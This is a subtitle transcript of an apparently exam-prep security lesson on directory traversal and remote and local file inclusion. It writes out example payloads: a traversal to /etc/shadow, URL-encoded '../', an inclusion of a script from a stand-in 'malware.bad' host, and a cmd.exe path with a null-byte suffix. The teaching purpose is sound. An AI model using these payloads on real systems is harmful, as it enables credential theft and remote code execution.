1 00:00:00,120 --> 00:00:01,589 In this lesson, we're going to talk 2 00:00:01,589 --> 00:00:03,570 about directory traversal attacks 3 00:00:03,570 --> 00:00:06,180 and the vulnerabilities associated with them. 4 00:00:06,180 --> 00:00:08,610 Now, when we talk about a directory traversal attack, 5 00:00:08,610 --> 00:00:10,800 this is a type of injection attack. 6 00:00:10,800 --> 00:00:12,810 An injection attacks occur when the attacker 7 00:00:12,810 --> 00:00:16,530 inserts malicious code through an application interface. 8 00:00:16,530 --> 00:00:18,780 Now the one we're going to talk about specifically here 9 00:00:18,780 --> 00:00:21,360 and focus on, is directory traversal. 10 00:00:21,360 --> 00:00:24,450 Now a directory traversal is a type of injection attack 11 00:00:24,450 --> 00:00:26,040 and any kind of injection attack 12 00:00:26,040 --> 00:00:27,900 really focuses on the ability 13 00:00:27,900 --> 00:00:29,790 for the attacker to insert malicious code 14 00:00:29,790 --> 00:00:31,830 through an application interface. 15 00:00:31,830 --> 00:00:33,930 Now, when we talk about a directory traversal, 16 00:00:33,930 --> 00:00:35,970 we're talking about an application attack 17 00:00:35,970 --> 00:00:39,240 that allows access to commands, and files, and directories 18 00:00:39,240 --> 00:00:40,740 that may or may not be connected 19 00:00:40,740 --> 00:00:42,720 to the web document root directory. 20 00:00:42,720 --> 00:00:43,860 Now, if you're running a web server, 21 00:00:43,860 --> 00:00:45,690 you're running this on Windows or Mac 22 00:00:45,690 --> 00:00:48,780 or Linux or Unix or some kind of operating system 23 00:00:48,780 --> 00:00:50,400 and there's going to be a folder in there 24 00:00:50,400 --> 00:00:52,740 that is called the web document root. 25 00:00:52,740 --> 00:00:54,330 Essentially that folder is where, 26 00:00:54,330 --> 00:00:56,250 when you go to diontraining.com, 27 00:00:56,250 --> 00:00:58,110 it goes to find those files. 28 00:00:58,110 --> 00:01:00,120 Now that isn't the root of your hard drive, 29 00:01:00,120 --> 00:01:02,610 it's just the root of that directory 30 00:01:02,610 --> 00:01:04,769 but there's many folders above that. 31 00:01:04,769 --> 00:01:06,210 And so if I went to something like 32 00:01:06,210 --> 00:01:11,210 diontraining.com/../../../../etc/shadow, 33 00:01:14,190 --> 00:01:17,670 that would try to go and find that shadow file. 34 00:01:17,670 --> 00:01:20,940 Now, that shadow file isn't inside the web root though. 35 00:01:20,940 --> 00:01:23,700 Instead, it's located on some other file 36 00:01:23,700 --> 00:01:25,320 off of the directory. 37 00:01:25,320 --> 00:01:30,320 And so what we're doing here with that ../../../../, 38 00:01:31,680 --> 00:01:33,720 is doing a directory traversal. 39 00:01:33,720 --> 00:01:36,150 Now let me show you what this looks like graphically. 40 00:01:36,150 --> 00:01:38,640 Essentially we have something that looks like this. 41 00:01:38,640 --> 00:01:41,070 The root is the actual root of your hard drive. 42 00:01:41,070 --> 00:01:43,740 So my server happens to be using Linux. 43 00:01:43,740 --> 00:01:44,850 And because we're using Linux, 44 00:01:44,850 --> 00:01:46,620 we're going to be using that slash. 45 00:01:46,620 --> 00:01:47,970 Now, that's the root. 46 00:01:47,970 --> 00:01:49,920 Underneath that, I have two folders, 47 00:01:49,920 --> 00:01:53,160 I have /etc and /home. 48 00:01:53,160 --> 00:01:55,680 Now, if I go underneath the home directory, 49 00:01:55,680 --> 00:01:57,150 I have /programs, 50 00:01:57,150 --> 00:02:00,360 and if I go under that, I have /www_root. 51 00:02:00,360 --> 00:02:02,700 And under that, that's where my webpage are stored. 52 00:02:02,700 --> 00:02:06,150 So the www_root, that is my web root directory 53 00:02:06,150 --> 00:02:07,530 for those documents. 54 00:02:07,530 --> 00:02:08,907 So when somebody tries to go 55 00:02:08,907 --> 00:02:13,908 diontraining.com/../../../../etc/shadow, 56 00:02:16,470 --> 00:02:17,820 what are they trying to do? 57 00:02:17,820 --> 00:02:20,370 Well, if we start with diontraining.com, 58 00:02:20,370 --> 00:02:22,830 that's going to load index.html 59 00:02:22,830 --> 00:02:25,800 or index.php from the web_pages. 60 00:02:25,800 --> 00:02:28,350 That's that blue thing in the bottom right corner. 61 00:02:28,350 --> 00:02:32,640 Now, when I go ../, I go up into the folder above it 62 00:02:32,640 --> 00:02:35,500 and then ../ goes again up into the folder above it, 63 00:02:35,500 --> 00:02:38,986 ../ goes up into the folder above it, 64 00:02:38,986 --> 00:02:41,610 ../ goes up into the root directory now. 65 00:02:41,610 --> 00:02:45,570 And then I go /etc, down into the etc folder, 66 00:02:45,570 --> 00:02:46,710 and then /shadow, 67 00:02:46,710 --> 00:02:48,900 I'm going to try to read that shadow file. 68 00:02:48,900 --> 00:02:50,160 That's what they're doing here. 69 00:02:50,160 --> 00:02:52,170 That's what a directory traversal is. 70 00:02:52,170 --> 00:02:53,730 And so if we can read those files 71 00:02:53,730 --> 00:02:55,860 or execute those files by doing this, 72 00:02:55,860 --> 00:02:58,980 we can do that from a URL by typing into a browser 73 00:02:58,980 --> 00:03:01,050 and remotely attack that system. 74 00:03:01,050 --> 00:03:03,150 So we don't want this to happen, right? 75 00:03:03,150 --> 00:03:04,410 Now, when we look at these, 76 00:03:04,410 --> 00:03:06,480 you're going to see a lot of these .. slashes 77 00:03:06,480 --> 00:03:08,790 or .. back slashes. 78 00:03:08,790 --> 00:03:10,860 Now in this case, it's ../ 79 00:03:10,860 --> 00:03:15,240 because Unix systems like Linux and Mac, they use ../. 80 00:03:15,240 --> 00:03:16,710 If you're using a Windows system, 81 00:03:16,710 --> 00:03:18,750 so you're using IIS as your web server, 82 00:03:18,750 --> 00:03:21,240 it's going to use ..\. 83 00:03:21,240 --> 00:03:22,800 Because on a Windows system, 84 00:03:22,800 --> 00:03:25,787 you have your C drive, C:\, 85 00:03:25,787 --> 00:03:28,110 and so you're going to be using ..\. 86 00:03:28,110 --> 00:03:30,180 But a lot of times Windows is configured 87 00:03:30,180 --> 00:03:33,450 to accept either way the slash or the backslash 88 00:03:33,450 --> 00:03:35,070 and it will accept both. 89 00:03:35,070 --> 00:03:37,500 Now, what we want to do with these directory traversals is 90 00:03:37,500 --> 00:03:39,030 prevent them from happening. 91 00:03:39,030 --> 00:03:40,590 So how can we do that? 92 00:03:40,590 --> 00:03:42,390 Now, the problem with these directory traversals 93 00:03:42,390 --> 00:03:43,500 like I said, is that, 94 00:03:43,500 --> 00:03:45,930 they can be used to access any file on a system, 95 00:03:45,930 --> 00:03:47,640 if they have the right permissions. 96 00:03:47,640 --> 00:03:50,190 So if I configure my server correctly, 97 00:03:50,190 --> 00:03:52,320 you're not going to have access as a web user 98 00:03:52,320 --> 00:03:55,080 to read my shadow file or my password file. 99 00:03:55,080 --> 00:03:57,420 But if I didn't have it correctly, you could access those 100 00:03:57,420 --> 00:03:59,190 and read those right from your browser. 101 00:03:59,190 --> 00:04:01,320 And so we want to be able to prevent this from happening. 102 00:04:01,320 --> 00:04:03,270 Now, one thing I want to warn you about, 103 00:04:03,270 --> 00:04:05,820 you're not always just going to see the ../, 104 00:04:05,820 --> 00:04:07,500 now that is the most common way to see it, 105 00:04:07,500 --> 00:04:08,940 especially on the exam 106 00:04:08,940 --> 00:04:10,890 to identify a directory traversal. 107 00:04:10,890 --> 00:04:12,720 But remember we talked about encoding, 108 00:04:12,720 --> 00:04:14,490 all the way back earlier in the course? 109 00:04:14,490 --> 00:04:17,399 Well, people can use encoding against you as well. 110 00:04:17,399 --> 00:04:18,720 Attackers can use encoding 111 00:04:18,720 --> 00:04:20,820 to hide their directory traversal attempts. 112 00:04:20,820 --> 00:04:22,530 So instead of using ../, 113 00:04:22,530 --> 00:04:25,923 they might use %2e%2e%2f, 114 00:04:27,180 --> 00:04:28,980 and that would be ../. 115 00:04:28,980 --> 00:04:31,050 So keep that in mind as well. 116 00:04:31,050 --> 00:04:32,880 Now, another vulnerability we have to talk about, 117 00:04:32,880 --> 00:04:36,000 when we talk about directory traversals is file inclusion. 118 00:04:36,000 --> 00:04:38,190 File inclusion is when a web application 119 00:04:38,190 --> 00:04:40,080 vulnerability is being exploited, 120 00:04:40,080 --> 00:04:42,420 that allows an attacker to either download a file 121 00:04:42,420 --> 00:04:45,390 from an arbitrary location on the host file system, 122 00:04:45,390 --> 00:04:47,160 by using that directory traversal 123 00:04:47,160 --> 00:04:51,210 or upload an executable or script file to open a back door. 124 00:04:51,210 --> 00:04:53,490 Now, this will come in two different flavors. 125 00:04:53,490 --> 00:04:57,330 We have remote file inclusions and local file inclusions. 126 00:04:57,330 --> 00:04:59,400 When we talk about a remote file inclusion, 127 00:04:59,400 --> 00:05:01,710 this occurs when an attacker tries to execute a script 128 00:05:01,710 --> 00:05:05,670 to inject a remote file into the web app or the website. 129 00:05:05,670 --> 00:05:07,350 So if I use something like 130 00:05:07,350 --> 00:05:12,350 https://diontraining.com/login.php, 131 00:05:12,870 --> 00:05:14,190 that part is fine. 132 00:05:14,190 --> 00:05:16,590 Then I have ?user=, 133 00:05:16,590 --> 00:05:17,790 this is passing the parameter 134 00:05:17,790 --> 00:05:19,680 of which user I want to log in as. 135 00:05:19,680 --> 00:05:21,240 Now, what user am I going to log into? 136 00:05:21,240 --> 00:05:22,680 Am I going to log in as Jason? 137 00:05:22,680 --> 00:05:24,030 No, we're going to log in as, 138 00:05:24,030 --> 00:05:29,010 http://malware.bad/malicious.php. 139 00:05:29,010 --> 00:05:31,080 So what we're doing is we're passing this parameter 140 00:05:31,080 --> 00:05:32,700 and when our system executes 141 00:05:32,700 --> 00:05:34,230 and tries to find that parameter 142 00:05:34,230 --> 00:05:35,670 to load it into our database, 143 00:05:35,670 --> 00:05:38,100 instead, we're going to load in this malicious script. 144 00:05:38,100 --> 00:05:40,470 So this is the idea of a remote file inclusion. 145 00:05:40,470 --> 00:05:42,090 We're including this remote file, 146 00:05:42,090 --> 00:05:44,430 malicious.php from this other website 147 00:05:44,430 --> 00:05:47,490 into my web server using this type of command. 148 00:05:47,490 --> 00:05:48,720 Now, another one you can use, 149 00:05:48,720 --> 00:05:50,850 is what's called local file inclusion. 150 00:05:50,850 --> 00:05:53,160 Now, local file inclusions are where an attacker 151 00:05:53,160 --> 00:05:55,530 tries to add a file to the web app or website 152 00:05:55,530 --> 00:05:57,870 that already exists on the hosting server. 153 00:05:57,870 --> 00:05:59,220 So let's say on my website, 154 00:05:59,220 --> 00:06:00,540 we might allow you to upload something 155 00:06:00,540 --> 00:06:03,000 like a picture or a PDF or other files, 156 00:06:03,000 --> 00:06:04,560 as part of our community forum. 157 00:06:04,560 --> 00:06:06,690 Well, then you could reference that file 158 00:06:06,690 --> 00:06:08,760 because it's already sitting on my server. 159 00:06:08,760 --> 00:06:10,530 So in this case, you would do something like, 160 00:06:10,530 --> 00:06:15,530 https://diontraining.com/login.php?user=, 161 00:06:17,580 --> 00:06:19,747 and now here you see this directory traversal, 162 00:06:19,747 --> 00:06:24,747 ../../Windows/system32/cmd.exe%00. 163 00:06:27,630 --> 00:06:29,010 Now, what are they trying to do? 164 00:06:29,010 --> 00:06:31,020 This is assuming that I have a Windows server, 165 00:06:31,020 --> 00:06:33,030 and they're trying to go up to directories, 166 00:06:33,030 --> 00:06:34,350 into the Windows directory, 167 00:06:34,350 --> 00:06:37,260 down into System32, and run the command shell. 168 00:06:37,260 --> 00:06:39,510 This way, they can run any program they want 169 00:06:39,510 --> 00:06:41,610 that executes in DOS or Windows. 170 00:06:41,610 --> 00:06:44,280 Now what is that %00 at the end? 171 00:06:44,280 --> 00:06:46,080 Well, that's a common tactic that's used 172 00:06:46,080 --> 00:06:49,200 to insert a null character at the end of your URL. 173 00:06:49,200 --> 00:06:52,890 That %00 in URL encoding, is essentially a null character. 174 00:06:52,890 --> 00:06:54,570 And so this is being used to request 175 00:06:54,570 --> 00:06:56,460 to bypass the security mechanisms, 176 00:06:56,460 --> 00:06:59,610 that would normally add a .php to the end of the request 177 00:06:59,610 --> 00:07:02,820 and instead allow us to use that .exe extension. 178 00:07:02,820 --> 00:07:05,820 Now for the exam, let me give you a couple of quick tips. 179 00:07:05,820 --> 00:07:08,520 Anytime you see something with ../, 180 00:07:08,520 --> 00:07:10,860 I want you to think directory traversal. 181 00:07:10,860 --> 00:07:13,260 This is what the answer is most likely going to be. 182 00:07:13,260 --> 00:07:15,330 Now, the reason for this is because on the exam, 183 00:07:15,330 --> 00:07:16,260 they're going to bring up the idea 184 00:07:16,260 --> 00:07:18,360 of directory traversal a lot. 185 00:07:18,360 --> 00:07:19,890 Now you might also get some questions 186 00:07:19,890 --> 00:07:21,510 about local file inclusions. 187 00:07:21,510 --> 00:07:22,590 And if that's the case, 188 00:07:22,590 --> 00:07:25,080 that is a type of directory traversal. 189 00:07:25,080 --> 00:07:27,270 Now, if you get a question like this on the exam, 190 00:07:27,270 --> 00:07:29,850 you're not going to have answer choices A, B, C and D, 191 00:07:29,850 --> 00:07:31,500 where A is directory traversal, 192 00:07:31,500 --> 00:07:33,390 and B is local file inclusion. 193 00:07:33,390 --> 00:07:34,800 They won't do that to you. 194 00:07:34,800 --> 00:07:36,330 Instead, you're going to have, 195 00:07:36,330 --> 00:07:38,190 on this question directory traversal, 196 00:07:38,190 --> 00:07:40,710 on another one, you might have local file inclusion. 197 00:07:40,710 --> 00:07:43,890 So if you see ../, it's one of those two things. 198 00:07:43,890 --> 00:07:45,180 Now, when you're on the exam, 199 00:07:45,180 --> 00:07:46,860 you're going to be asked to look at logs 200 00:07:46,860 --> 00:07:48,570 and things like proxy servers. 201 00:07:48,570 --> 00:07:50,490 And as you're looking through the proxy server logs, 202 00:07:50,490 --> 00:07:53,730 you're going to see these different URLs inside those logs. 203 00:07:53,730 --> 00:07:54,780 And as you look at them, 204 00:07:54,780 --> 00:07:57,960 anytime you see that ../, I want you to remember 205 00:07:57,960 --> 00:07:59,430 that is directory traversal 206 00:07:59,430 --> 00:08:02,030 and that'll be the right answer for you on the exam.